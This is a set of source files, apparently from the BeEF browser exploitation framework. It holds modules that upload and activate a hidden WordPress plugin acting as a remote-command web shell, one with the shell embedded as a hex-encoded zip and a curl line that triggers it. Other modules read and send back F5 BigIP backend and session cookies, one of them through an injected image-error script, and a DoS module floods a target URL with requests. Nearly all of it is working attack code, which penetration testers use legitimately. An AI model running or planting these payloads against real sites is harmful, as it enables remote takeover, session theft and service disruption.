    "path": "modules/misc/wordpress/upload_rce_plugin/command.js",
    "content": "/*\n  Copyright (c) Browser Exploitation Framework (BeEF) - https://beefproject.com\n  See the file 'doc/COPYING' for copying permission\n  \n  This is a rewrite of the original module misc/wordpress_post_auth_rce.\n\n  Original Author: Bart Leppens\n  Rewritten by Erwan LR (@erwan_lr | WPScanTeam)\n*/\n\nbeef.execute(function() {\n  beef_command_url = '<%= @command_url %>';\n  beef_command_id  = <%= @command_id %>;\n\n  // Adds wp.js to the DOM so we can use some functions here\n  if (typeof get_nonce !== 'function') {\n    var wp_script = document.createElement('script');\n\n    wp_script.setAttribute('type', 'text/javascript');\n    wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js');\n    var theparent = document.getElementsByTagName('head')[0];\n    theparent.insertBefore(wp_script, theparent.firstChild);\n  }\n\n  var wp_path = '<%= @wp_path %>';\n  var upload_nonce_path = '<%= @wp_path %>wp-admin/plugin-install.php?tab=upload';\n  var upload_plugin_path = '<%= @wp_path %>wp-admin/update.php?action=upload-plugin';\n\n  function upload_and_active_plugin(nonce) {\n    var boundary = \"BEEFBEEF\";\n    \n    var post_data = \"--\" + boundary + \"\\r\\n\";\n    post_data += \"Content-Disposition: form-data; name=\\\"_wpnonce\\\"\\r\\n\";\n    post_data += \"\\r\\n\";\n    post_data += nonce + \"\\r\\n\";\n    post_data += \"--\" + boundary + \"\\r\\n\";\n    post_data += \"Content-Disposition: form-data; name=\\\"_wp_http_referer\\\"\\r\\n\";\n    post_data += \"\\r\\n\" + upload_nonce_path + \"\\r\\n\";\n    post_data += \"--\" + boundary + \"\\r\\n\";\n    post_data += \"Content-Disposition: form-data; name=\\\"pluginzip\\\";\\r\\n\";\n    post_data += \"filename=\\\"beefbind.zip\\\"\\r\\n\";\n    post_data += \"Content-Type: application/octet-stream\\r\\n\";\n    post_data += \"\\r\\n\";\n    post_data += \"<%= Wordpress_upload_rce_plugin.generate_zip_payload(@auth_key) %>\";\n    post_data += \"\\r\\n\";\n    post_data += \"--\" + boundary + \"--\\r\\n\"\n\n    post_as_binary(\n      upload_plugin_path,\n      boundary,\n      post_data,\n      function(xhr) {\n        result = xhr.responseXML.getElementsByClassName('wrap')[0];\n\n        if (result == null) {\n          log('Could not find result of plugin upload in response', 'error');\n        }\n        else {\n          result_text = result.innerText;\n\n          if (/Plugin installed successfully/i.test(result_text)) {\n            //log('Plugin installed successfully, activating it');\n\n            // Get URL to active the plugin from response, and call it\n            // <div class=\"wrap\">...<a class=\"button button-primary\" href=\"plugins.php?action=activate&amp;plugin=beefbind%2Fbeefbind.php&amp;_wpnonce=d13218642e\" target=\"_parent\">Activate Plugin</a>\n\n            activation_tag = result.getElementsByClassName('button-primary')[0];\n\n            if (activation_tag == null) {\n              log('Plugin installed but unable to get activation URL from output', 'error');\n            }\n            else {\n              activation_path = '<%= @wp_path %>wp-admin/' + activation_tag.getAttribute('href');\n\n              get(activation_path, function(xhr) {\n                result_text = xhr.responseXML.getElementById('message').innerText;\n\n                if (/plugin activated/i.test(result_text)) {\n                  log('Plugin installed and activated! - Auth Key: <%= @auth_key %>', 'success');\n                }\n                else {\n                  log('Error while activating the plugin: ' + result_text, 'error');\n                }\n              });\n            }\n          }\n          else {\n            log('Error while installing the plugin: ' + result_text, 'error');\n          }\n        }\n      }\n    );\n  }\n  \n  // Timeout needed for the wp.js to be loaded first\n  setTimeout(\n    function() {\n      get_nonce(\n        upload_nonce_path,\n        '_wpnonce',\n        function(nonce) { upload_and_active_plugin(nonce) }\n      )\n    },\n    300\n  );\n});\n\n"
  },
  {
    "path": "modules/misc/wordpress/upload_rce_plugin/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        wordpress_upload_rce_plugin:\n            enable: true\n            category: Misc\n            name: WordPress Upload RCE Plugin\n            description: |\n              This module attempts to upload and activate a malicious wordpress plugin, which will be hidden from the plugins list in the dashboard.\n              Afterwards, the URI to trigger is: http://vulnerable-wordpress.site/wp-content/plugins/beefbind/beefbind.php, \n              and the command to execute can be send by a POST-parameter named 'cmd', with a 'BEEF' header containing the value of the auth_key option.\n              However, there are more stealthy ways to send the POST request to execute the command, depending on the target.\n              CORS headers have been added to allow bidirectional crossorigin communication.\n            authors: ['Bart Leppens', 'Erwan LR']\n            target:\n                working: ['ALL']\n"
  },
  {
    "path": "modules/misc/wordpress/upload_rce_plugin/module.rb",
    "content": "#\n# Copyright (c) Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# This is a rewrite of the original module misc/wordpress_post_auth_rce.\n#\n# Original Author: Bart Leppens\n# Rewritten by Erwan LR (@erwan_lr | WPScanTeam)\n#\n# To be executed, the request needs a BEEF header with the value of the auth_key option, example:\n# curl -H 'BEEF: c9c3a2dcff54c5e2' -X POST --data 'cmd=id' http://wp.lab/wp-content/plugins/beefbind/beefbind.php\n#\n\nrequire 'digest/sha1'\nrequire_relative '../wordpress_command'\n\nclass Wordpress_upload_rce_plugin < WordPressCommand\n  # Generate the plugin ZIP file as string. The method is called in the command.js.\n  # This allows easy modification of the beefbind.php to suit the needs, as well as being automatically generated\n  # even when the module is used with automated rules\n  def self.generate_zip_payload(auth_key)\n    stringio = Zip::OutputStream.write_buffer do |zio|\n      zio.put_next_entry('beefbind.php')\n\n      file_content = File.read(File.join(File.dirname(__FILE__), 'beefbind.php')).to_s\n      file_content.gsub!(/#SHA1HASH#/, Digest::SHA1.hexdigest(auth_key))\n\n      zio.write(file_content)\n    end\n\n    stringio.rewind\n\n    payload         = stringio.sysread\n    escaped_payload = ''\n\n    # Escape payload to be able to put it in the JS\n    payload.each_byte do |byte|\n      escaped_payload << (\"\\\\#{'x%02X' % byte}\")\n    end\n\n    escaped_payload\n  end\n\n  def self.options\n    super() + [\n      { 'name' => 'auth_key', 'ui_label' => 'Auth Key', 'value' => SecureRandom.hex(8) }\n    ]\n  end\nend\n"
  },
  {
    "path": "modules/misc/wordpress/wordpress_command.rb",
    "content": "#\n# Copyright (c) Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# Author Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/\n#\n\nrequire 'securerandom'\n\nclass WordPressCommand < BeEF::Core::Command\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/misc/wordpress/wp.js', '/wp', 'js')\n  end\n\n  # If we could retrive the hooked URL, we could try to determine the wp_path to be set below\n  def self.options\n    [\n      { 'name' => 'wp_path', 'ui_label' => 'WordPress Path', 'value' => '/' }\n    ]\n  end\n\n  # This one is triggered each time a beef.net.send is called\n  def post_execute\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('wp.js')\n\n    return unless @datastore['result']\n\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/misc/wordpress/wp.js",
    "content": "/*\n  Copyright (c) Browser Exploitation Framework (BeEF) - https://beefproject.com\n  See the file 'doc/COPYING' for copying permission\n  \n  Author @erwan_lr (WPScanTeam) - https://wpscan.org/\n*/\n\n// Pretty sure we could use jQuery as it's included by the hook.js\n// Also, could have all that in as WP.prototype ?\n\nfunction log(data, status = null) {\n  if (status == 'error') { status = beef.are.status_error(); }\n  if (status == 'success') { status = beef.are.status_success(); }\n\n  beef.net.send(beef_command_url, beef_command_id, data, status);\n  beef.debug(data);\n};\n\nfunction get(absolute_path, success) {\n  var xhr = new XMLHttpRequest();\n\n  xhr.open('GET', absolute_path);\n  xhr.responseType = 'document';\n\n  xhr.onerror = function() { log('GET ' + absolute_path + ' could not be done', 'error'); }\n  \n  xhr.onload = function() {\n    //log('GET ' + absolute_path + ' resulted in a code ' + xhr.status);\n    \n    success(xhr);\n  }\n\n  xhr.send();\n}\n\nfunction post(absolute_path, data, success) {\n  var params = typeof data == 'string' ? data : Object.keys(data).map(\n    function(k){ return encodeURIComponent(k) + '=' + encodeURIComponent(data[k]) }\n  ).join('&');\n\n  var xhr = new XMLHttpRequest();\n\n  xhr.open('POST', absolute_path);\n  xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');\n\n  xhr.onerror = function() { log('POST ' + absolute_path + ' could not be done', 'error'); }\n  \n  xhr.onload = function() {\n    //log('POST ' + absolute_path + ' resulted in a code ' + xhr.status);\n\n    success(xhr);\n  }\n\n  xhr.send(params);\n}\n\nfunction post_as_binary(absolute_path, boundary, data, success) {\n  var xhr = new XMLHttpRequest();\n\n  // for WebKit-based browsers\n  if (!XMLHttpRequest.prototype.sendAsBinary) {\n    XMLHttpRequest.prototype.sendAsBinary = function (sData) {\n      var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);\n      \n      for (var nIdx = 0; nIdx < nBytes; nIdx++) {\n         ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;\n      }\n      /* send as ArrayBufferView...: */\n      this.send(ui8Data);\n    };\n  }\n\n  xhr.open('POST', absolute_path);\n  xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=' + boundary );\n\n  xhr.responseType = 'document';\n\n  xhr.onerror = function() { log('POST (Binary)' + absolute_path + ' could not be done', 'error'); }\n  \n  xhr.onload = function() {\n    //log('POST (Binary) ' + absolute_path + ' resulted in a code ' + xhr.status);\n\n    success(xhr);\n  }\n\n  xhr.sendAsBinary(data);\n}\n\nfunction get_nonce(absolute_path, nonce_id, success) {\n  get(absolute_path, function(xhr) {\n    if (xhr.status == 200) {\n      var nonce_tag = xhr.responseXML.getElementById(nonce_id);\n      \n      if (nonce_tag == null) {\n        log(absolute_path + ' - Unable to find nonce tag with id ' + nonce_id, 'error');\n      }\n      else {\n        nonce = nonce_tag.getAttribute('value');\n\n        //log('GET ' + absolute_path + ' - Nonce: ' + nonce);\n\n        success(nonce);\n      }\n    } else {\n      log('GET ' + absolute_path + ' - Status: ' + xhr.status, 'error');\n    }\n  });\n}\n\n"
  },
  {
    "path": "modules/misc/wordpress_post_auth_rce/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n\nbeef.execute(function() {\n  var wordpress_url = '<%= @wordpress_url %>';\n  var admin_directory = '/wp-admin';\n\n  log = function(data){\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, data);\n    beef.debug(data);\n  };\n\n  getwpnonce = function(uri){\n    var xhr = new XMLHttpRequest();\n    xhr.open(\"GET\", uri + '/plugin-install.php?tab=upload');\n    xhr.onload=function() {\n      var res = /name=\"_wpnonce\"\\svalue=\\\"[a-z0-9]{10}\\\"/.exec(xhr.responseText);\n        if (res.length == 1) {\n          nonce = /[a-z0-9]{10}/.exec(res[0]);\n          //continue only if we have extracted a nonce => upload the plugin\n          uploadBeefBindPhp(uri, nonce);\n        }\n        else {\n          log('Couldn\\'t extract _wpnonce');\n\t}\n    }\n    xhr.send();\n  }\n\n  uploadBeefBindPhp = function (uri, nonce){\n    var xhr = new XMLHttpRequest();\n    // for WebKit-based browsers\n    if (!XMLHttpRequest.prototype.sendAsBinary) {\n      XMLHttpRequest.prototype.sendAsBinary = function (sData) {\n        var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);\n        for (var nIdx = 0; nIdx < nBytes; nIdx++) {\n           ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;\n        }\n        /* send as ArrayBufferView...: */\n        this.send(ui8Data);\n      };\n    }\n    xhr.open(\"POST\", uri + '/update.php?action=upload-plugin',true);\n    boundary = \"BEEFBEEF\";\n    xhr.setRequestHeader(\"Content-Type\",\"multipart/form-data; boundary=\" + boundary );\n    // zip contains beefbind.php: <?php header(\"Access-Control-Allow-Origin: *\"); echo @system($_POST['cmd']); ?>\n    post_data = \"--\" + boundary + \"\\r\\n\";\n    post_data += \"Content-Disposition: form-data; name=\\\"_wpnonce\\\"\\r\\n\";\n    post_data += \"\\r\\n\";\n    post_data += nonce + \"\\r\\n\";\n    post_data += \"--\" + boundary + \"\\r\\n\";\n    post_data += \"Content-Disposition: form-data; name=\\\"_wp_http_referer\\\"\\r\\n\";\n    post_data += \"\\r\\n\" + uri + \"/plugin-install.php?tab=upload\\r\\n\";\n    post_data += \"--\" + boundary + \"\\r\\n\";\n    post_data += \"Content-Disposition: form-data; name=\\\"pluginzip\\\";\\r\\n\";\n    post_data += \"filename=\\\"beefbind.zip\\\"\\r\\n\";\n    post_data += \"Content-Type: application/octet-stream\\r\\n\";\n    post_data += \"\\r\\n\";\n    post_data += \"\\x50\\x4b\\x03\\x04\\x0a\\x00\\x00\\x00\\x00\\x00\\x6c\\xa4\\xfc\\x44\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x09\\x00\\x1c\\x00\\x62\\x65\\x65\\x66\\x62\\x69\\x6e\\x64\\x2f\\x55\\x54\\x09\\x00\\x03\\xeb\\x97\\xd6\\x53\\xf0\\x97\\xd6\\x53\\x75\\x78\\x0b\\x00\\x01\\x04\\xf5\\x01\\x00\\x00\\x04\\x14\\x00\\x00\\x00\\x50\\x4b\\x03\\x04\\x14\\x00\\x00\\x00\\x08\\x00\\x6c\\xa4\\xfc\\x44\\xd8\\x52\\x22\\xe0\\x43\\x01\\x00\\x00\\xcf\\x01\\x00\\x00\\x15\\x00\\x1c\\x00\\x62\\x65\\x65\\x66\\x62\\x69\\x6e\\x64\\x2f\\x62\\x65\\x65\\x66\\x62\\x69\\x6e\\x64\\x2e\\x70\\x68\\x70\\x55\\x54\\x09\\x00\\x03\\xeb\\x97\\xd6\\x53\\xeb\\x97\\xd6\\x53\\x75\\x78\\x0b\\x00\\x01\\x04\\xf5\\x01\\x00\\x00\\x04\\x14\\x00\\x00\\x00\\x6d\\x50\\x5d\\x6b\\x02\\x31\\x10\\x7c\\xf7\\x57\\x2c\\x52\\xf0\\x14\\xce\\x3b\\xa5\\xf4\\xc1\\x96\\xea\\x79\\xd5\\x22\\x88\\x27\\xda\\x0f\\x4a\\x29\\xe5\\xcc\\xad\\x26\\x6d\\x2e\\x09\\x49\\xe4\\xea\\xbf\\xef\\xc6\\x17\\xfb\\xd0\\xc7\\xdd\\x99\\xd9\\x9d\\x99\\xbb\\xb1\\xe1\\xa6\\x95\\xf4\\x7a\\x2d\\xe8\\xc1\\x5a\\x1e\\x0f\\x42\\xc1\\xaa\\xac\\x71\\x04\\x3b\\xc4\\xfd\\x4e\\xa8\\xea\\x0f\\xf0\\xbc\\x59\\x8c\\x80\\x7b\\x6f\\x46\\x49\\x12\\x60\\x63\\xf5\\x17\\x32\\xdf\\x67\\xba\\x0e\\xac\\x07\\x74\\xcc\\x0a\\xe3\\x85\\x56\\x23\\x98\\xe2\\x6c\\x0e\\x41\\x0f\\x8e\\xa3\\x94\\xd0\\x08\\xcf\\x21\\x2f\\x36\\xdb\\x7e\\xa0\\xbe\\xa0\\x75\\x67\\xda\\xa0\\x9f\\x86\\x39\\x3b\\x7a\\xae\\x2d\\xa9\\x4a\\xeb\\x61\\x89\\xc6\\xa0\\x72\\x97\\xfd\\xe5\\xb1\\xa3\\xcf\\x9e\\x4e\\x79\\xb4\\xe1\\x6b\\xb2\\xab\\x4b\\xe5\\x6d\\x19\\xa8\\x4b\\xc1\\x48\\x44\\xc6\\x73\\x6d\\x4e\\x56\\x1c\\xb8\\x87\\x88\\x75\\x61\\x98\\xa6\\x37\\xf1\\x30\\x1d\\x5c\\xc3\\x6b\\x59\\x21\\x64\\x92\\x69\\xab\\x20\\x86\\x86\\xa6\\x49\\xf0\\x77\\xb6\\xd7\\x57\\xe8\\x69\\x39\\xb5\\xba\\x71\\x68\\x61\\xf6\\x63\\xa4\\x16\\xbe\\x0c\\x51\\x60\\x6e\\xa9\\x8f\\x46\\xdb\\x6f\\x88\\x42\\xa8\\x2e\\xf1\\xfe\\xef\\x80\\x80\\x2d\\x22\\x78\\x8e\\xb0\\x17\\x12\\xa1\\x53\\x69\\x96\\xe4\\xc5\\xfa\\x6d\\xb1\\x7a\\xec\\xc0\\x9e\\x72\\x30\\xb2\\x26\\xd4\\x01\\x0c\\xda\\x5a\\xb8\\xd0\\x00\\x39\\x4f\\x5a\\x1c\\xc9\\x8c\\x8d\\xda\\x19\\x63\\xe8\\x5c\\x9c\\x6b\\xca\\xa4\\x65\\x9c\\x49\\xa9\\x9b\\xb8\\xa0\\x2c\\x82\\x9a\\xea\\xb5\\xbb\\xb7\\x80\\x8c\\x6b\\x98\\xb8\\x93\\xf3\\x58\\x47\\x57\\x9f\\xeb\\x62\\xfb\\xf4\\xde\\x61\\x75\\xd5\\xf9\\x20\\x70\\x7c\\xdf\\xfa\\x05\\x50\\x4b\\x01\\x02\\x1e\\x03\\x0a\\x00\\x00\\x00\\x00\\x00\\x6c\\xa4\\xfc\\x44\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x09\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xed\\x41\\x00\\x00\\x00\\x00\\x62\\x65\\x65\\x66\\x62\\x69\\x6e\\x64\\x2f\\x55\\x54\\x05\\x00\\x03\\xeb\\x97\\xd6\\x53\\x75\\x78\\x0b\\x00\\x01\\x04\\xf5\\x01\\x00\\x00\\x04\\x14\\x00\\x00\\x00\\x50\\x4b\\x01\\x02\\x1e\\x03\\x14\\x00\\x00\\x00\\x08\\x00\\x6c\\xa4\\xfc\\x44\\xd8\\x52\\x22\\xe0\\x43\\x01\\x00\\x00\\xcf\\x01\\x00\\x00\\x15\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xa4\\x81\\x43\\x00\\x00\\x00\\x62\\x65\\x65\\x66\\x62\\x69\\x6e\\x64\\x2f\\x62\\x65\\x65\\x66\\x62\\x69\\x6e\\x64\\x2e\\x70\\x68\\x70\\x55\\x54\\x05\\x00\\x03\\xeb\\x97\\xd6\\x53\\x75\\x78\\x0b\\x00\\x01\\x04\\xf5\\x01\\x00\\x00\\x04\\x14\\x00\\x00\\x00\\x50\\x4b\\x05\\x06\\x00\\x00\\x00\\x00\\x02\\x00\\x02\\x00\\xaa\\x00\\x00\\x00\\xd5\\x01\\x00\\x00\\x00\\x00\";\n    post_data += \"\\r\\n\";\n    post_data += \"--\" + boundary + \"--\\r\\n\"\n\n    xhr.sendAsBinary(post_data);\n    xhr.onload=function() {\n      //extract the nonce for activating the plugin\n      var res = /plugin=beefbind.*_wpnonce=[a-z0-9]{10}/.exec(xhr.responseText);\n\n      //activate plugin only if there is a nonce\n      if (res.length == 1) {\n        nonce = /[a-z0-9]{10}/.exec(res[0]);\n        activatePlugin(uri,nonce);\n      }\n      else {\n        log('Cannot activate plugin, no activation nonce available.');\n      }\n    }\n  }\n\n  activatePlugin = function(uri,nonce){\n    var xhr = new XMLHttpRequest();\n    xhr.open(\"GET\", uri + '/plugins.php?action=activate&plugin=beefbind/beefbind.php&_wpnonce=' + nonce);\n    xhr.onload=function() {\n      log('BeEF bind plugin has been uploaded and activated');\n    }\n    xhr.send();\n  } \n\n  //get the wordpress nonce first, then upload the plugin and finally activate the plugin\n  getwpnonce(wordpress_url + admin_directory); \n\n});\n\n"
  },
  {
    "path": "modules/misc/wordpress_post_auth_rce/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        wordpress_post_auth_rce:\n            enable: true\n            category: \"Misc\"\n            name: \"Wordpress Post-Auth RCE\"\n            description: \"This module attempts to upload and activate a malicious wordpress plugin.  Afterwards, the URI to trigger it is: http://vulnerable-wordpress.site/wordpress/wp-content/plugins/beefbind/beefbind.php.  The command to execute can be send by a POST-parameter named 'cmd'.  CORS headers have been added to allow bidirectional crossorigin communication.\"\n            authors: [\"Bart Leppens\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/misc/wordpress_post_auth_rce/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Wordpress_post_auth_rce < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'wordpress_url', 'ui_label' => 'Target Web Server', 'value' => 'http://vulnerable-wordpress.site/wordpress', 'width' => '400px' }\n    ]\n  end\n\n  def post_execute\n    return if @datastore['result'].nil?\n\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/network/ADC/f5_bigip_cookie_disclosure/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  var poolName = 'unknown';\n  var routedDomain = 'unknown';\n  var BIGipCookieName = '';\n  var BIGipCookieValue = '';\n  var backend = '';\n  var result = '';\n\n  function f5CookieDecode(cookieValue){\n    var host;\n    var port;\n\n    if (cookieValue.match(/(\\d{8,10})\\.(\\d{1,5})\\./) !== null) {\n      host = cookieValue.split('.')[0];\n      host = parseInt(host);\n      host = '' + (host & 0xFF) + '.' +\n        ((host >> 8) & 0xFF) + '.' +\n        ((host >> 16) & 0xFF) + '.' +\n        ((host >> 24) & 0xFF);\n      port = cookieValue.split('.')[1];\n      port = parseInt(port);\n      port = '' + (((port & 0xFF) << 8) | ((port >> 8) & 0xFF));\n    } else if (cookieValue.match(/rd\\d+o0{20}f{4}([a-f0-9]{8})o(\\d{1,5})/) !== null) {\n      host = cookieValue.split('ffff')[1].split('o')[0];\n      host = parseInt(host.slice(0,2), 16) + '.' +\n        parseInt(host.slice(2, 4), 16) + '.' +\n        parseInt(host.slice(4, 6), 16) + '.' +\n        parseInt(host.slice(6, 8), 16);\n      port = cookieValue.split('ffff')[1].split('o')[1];\n      port = parseInt(port).toString(16);\n      port = parseInt(port.slice(2, 4) + port.slice(0, 2), 16);\n    } else if (cookieValue.match(/vi([a-f0-9]{32})\\.(\\d{1,5})/) !== null) {\n      host = cookieValue.split('.')[0].slice(2, -1);\n      var decoded_host = '';\n      for (var i = 0; i <  host.length; i += 4) {\n        decoded_host += host.slice(i, i + 4) + ':';\n      }\n      host = decoded_host;\n      port = cookieValue.split('.')[1];\n      port = parseInt(port);\n      port = '' + ( ((port & 0xFF) << 8) | ((port >> 8) & 0xFF) );\n    } else if (cookieValue.match(/rd\\d+o([a-f0-9]{32})o(\\d{1,5})/) !== null) {\n        host = cookieValue.split('o')[1];\n        var decoded_host = '';\n        for (var i = 0; i <  host.length; i += 4){\n          decoded_host += host.slice(i,i+4) + ':';\n        }\n        host = decoded_host;\n        port = cookieValue.split('o')[2];\n    }\n\n    return {\n            host: host,\n            port: port\n    }\n  }\n\n  var m = document.cookie.match(/([~_\\.\\-\\w\\d]+)=(((?:\\d+\\.){2}\\d+)|(rd\\d+o0{20}f{4}\\w+o\\d{1,5})|(vi([a-f0-9]{32})\\.(\\d{1,5}))|(rd\\d+o([a-f0-9]{32})o(\\d{1,5})))(?:$|,|;|\\s)/);\n\n  if (m !== null) {\n    BIGipCookieName = m[0].split('=')[0];\n    BIGipCookieValue = m[0].split('=')[1];\n    result = 'BigIP_cookie_name=' + BIGipCookieName;\n\n    // Retrieve pool name via cookie name\n    if (BIGipCookieName.match(/^BIGipServer/) !== null) {\n      poolName = BIGipCookieName.split('BIGipServer')[1];\n      result += '&pool_name=' + poolName;\n    }\n\n    // Routed domain is used\n    if (BIGipCookieValue.match(/^rd/) !== null) {\n      routedDomain = BIGipCookieValue.split('rd')[1].split('o')[0];\n      result += '&routed_domain=' + routedDomain;\n    }\n\n    backend = f5CookieDecode(BIGipCookieValue);\n    result += '&host=' + backend.host + '&port=' + backend.port;\n  }\n  else result = 'result=BigIP cookie not found'\n  beef.net.send('<%= @command_url %>', <%= @command_id %>, result);\n});\n"
  },
  {
    "path": "modules/network/ADC/f5_bigip_cookie_disclosure/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        f5_bigip_cookie_disclosure:\n            enable: true\n            category: [\"Network\",\"ADC\"]\n            name: \"F5 BigIP Backend Cookie Disclosure\"\n            description: \"This module detects F5 BigIP persistent cookies and exposures all available information about backend (pool name, IP address and port, routed domain).\"\n            authors: [\"dnkolegov, ovbroslavsky, neoleksov\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/network/ADC/f5_bigip_cookie_disclosure/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass F5_bigip_cookie_disclosure < BeEF::Core::Command\n  def post_execute\n    return if @datastore['results'].nil?\n\n    save({ 'BigIPCookie' => @datastore['results'] })\n  end\nend\n"
  },
  {
    "path": "modules/network/ADC/f5_bigip_cookie_stealing/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var t = document.createElement('div');\n  t.id = 'test';\n  document.body.appendChild(t);\n  var g = document.createElement('script');\n  g.text = \"document.getElementById(\\\"test\\\").innerHTML=\\\"<img src=1 onerror=result=document.cookie;>\\\"\"\n  t.appendChild(g);\n  setTimeout('beef.net.send(\\'<%= @command_url %>\\', <%= @command_id %>, result)', 2000)\n});\n"
  },
  {
    "path": "modules/network/ADC/f5_bigip_cookie_stealing/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        f5_bigip_cookie_stealing:\n            enable: true\n            category: [\"Network\",\"ADC\"]\n            name: \"F5 BigIP User's Cookie Stealing\"\n            description: \"This module retrieves all BigIP user's session cookies, bypassing sandbox restrictions.\"\n            authors: [\"dnkolegov, ovbroslavsky, neoleksov\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/network/ADC/f5_bigip_cookie_stealing/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass F5_bigip_cookie_stealing < BeEF::Core::Command\n  def post_execute\n    return if @datastore['result'].nil?\n\n    save({ 'BigIPSessionCookies' => @datastore['BigIPSessionCookies'] })\n  end\nend\n"
  },
  {
    "path": "modules/network/DOSer/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n    var url = '<%= @url %>';\n    var delay = '<%= @delay %>';\n    var method = '<%= @method %>';\n    var post_data = '<%= @post_data %>';\n\n    if(!!window.Worker){\n      var myWorker = new Worker(beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/worker.js');\n\n      myWorker.onmessage = function (oEvent) {\n        beef.net.send('<%= @command_url %>', <%= @command_id %>, oEvent.data);\n      };\n\n      var data = {};\n      data['url'] = url;\n      data['delay'] = delay;\n      data['method'] = method;\n      data['post_data'] = post_data;\n\n      myWorker.postMessage(data);\n    }else{\n       beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Error: WebWorkers are not supported on this browser.');\n    }\n\n\n});\n"
  },
  {
    "path": "modules/network/DOSer/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        doser:\n            enable: true\n            category: \"Network\"\n            name: \"DOSer\"\n            description: \"Do infinite GET or POST requests to a target, spawning a WebWorker in order to don't slow down the hooked page. If the browser doesn't support WebWorkers, the module will not run.\"\n            authors: [\"antisnatchor\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/network/DOSer/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Doser < BeEF::Core::Command\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/network/DOSer/worker.js', '/worker', 'js')\n  end\n\n  def self.options\n    [\n      { 'name' => 'url', 'ui_label' => 'URL', 'value' => 'http://target/path' },\n      { 'name' => 'delay', 'ui_label' => 'Delay between requests (ms)', 'value' => '10' },\n      { 'name' => 'method', 'ui_label' => 'HTTP Method', 'value' => 'POST' },\n      { 'name' => 'post_data', 'ui_label' => 'POST data', 'value' => 'key=value&&Aa=Aa&BB' }\n    ]\n  end\n\n  def post_execute\n    return if @datastore['result'].nil?\n\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/network/DOSer/worker.js",
